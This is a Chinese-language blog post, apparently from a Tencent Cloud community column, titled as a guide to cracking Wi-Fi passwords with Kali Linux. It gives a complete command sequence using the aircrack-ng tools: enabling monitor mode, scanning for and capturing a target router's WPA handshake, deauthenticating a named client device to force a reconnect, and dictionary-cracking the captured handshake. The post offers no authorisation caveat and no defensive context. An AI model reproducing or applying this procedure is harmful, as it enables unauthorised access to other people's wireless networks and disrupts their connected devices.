前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >kali破解wifi密码

kali破解wifi密码

作者头像
剧终
发布2020-08-27 15:33:52
6.6K0
发布2020-08-27 15:33:52
举报
文章被收录于专栏:Linux学习日志Linux学习日志

前期准备

kali Linux操作系统 支持监听模式的网卡 字典文件

检查网卡

先输入airmon-ng命令检查网卡是否支持监听模式

请输入图片描述
请输入图片描述

启网卡监听模式

接着启动网卡的监听(monitor)模式

代码语言:javascript
复制
airmon-ng start wlan0
请输入图片描述
请输入图片描述

输入iwconfig确认一遍,确认已进入monitor模式

代码语言:javascript
复制
iwconfig

开启监听模式(monitor)后,wlan0会变成wlan0mon

搜索周围网络

使用airodump-ng命令可列出无线网卡扫描到的WiFi热点详细信息,包括信号强度、加密类型、信道等,这里我们要记一下要破解的WiFi的bssid和信道。当搜索到我们要破解的WiFi热点时可以Ctrl+C停止搜索。

代码语言:javascript
复制
airodump-ng wlan0mon
请输入图片描述
请输入图片描述

抓取握手包

使用网卡的监听模式抓取周围的无线网络数据包,其中我们需要用到的数据包是包含了WiFi密码的握手包,当有新用户连接WiFi时会发送握手包。 参数解释: -c指定信道,目标热点的WiFi信道 -bssid 指定目标路由器的bssid -w 指定抓取的数据包保持的目录

代码语言:javascript
复制
airodump-ng -c 1 --bssid E4:F3:F5:17:86:F4 -w ~/wifimm/ wlan0mon
请输入图片描述
请输入图片描述

强制连接到WiFi的设备重连路由器 现在我们使用aireplay-ng命令给手机发送一个反认证包,使手机强制断开连接,随后它会自动再次连接WiFi。 可以看出,aireplay-ng生效的前提是WiFi热点中必须至少有一个设备已经接入。 由于刚刚打开的终端一直在执行抓包工作,所以我们重新打开一个终端,输入命令: -a 指定WiFi热点的bssid -c 指定要攻击的设备MAC地址

代码语言:javascript
复制
aireplay-ng -0 2 -a E4:F3:F5:17:86:F4 -c A8:0C:63:C8:81:19 wlan0mon

此刻我们已经成功抓到了握手包,如下图

请输入图片描述
请输入图片描述

破解密码

上面已经成功抓取到了握手包,现在要做的工作就是将握手包的密码和字典中的密码进行匹配。 这里我们直接用系统自带的默认字典破解。 -a2 代表WPA/WPA2的握手包 -b 指定要破解的wifi BSSID -w 指定字典文件

代码语言:javascript
复制
aircrack-ng -a2 -b E4:F3:F5:17:86:F4 -w /mm.txt ~/wifimm/*.cap

最后是抓取的包 密码已经破解出来了

请输入图片描述
请输入图片描述
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前期准备
  • 检查网卡
  • 启网卡监听模式
  • 搜索周围网络
  • 抓取握手包
  • 破解密码
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档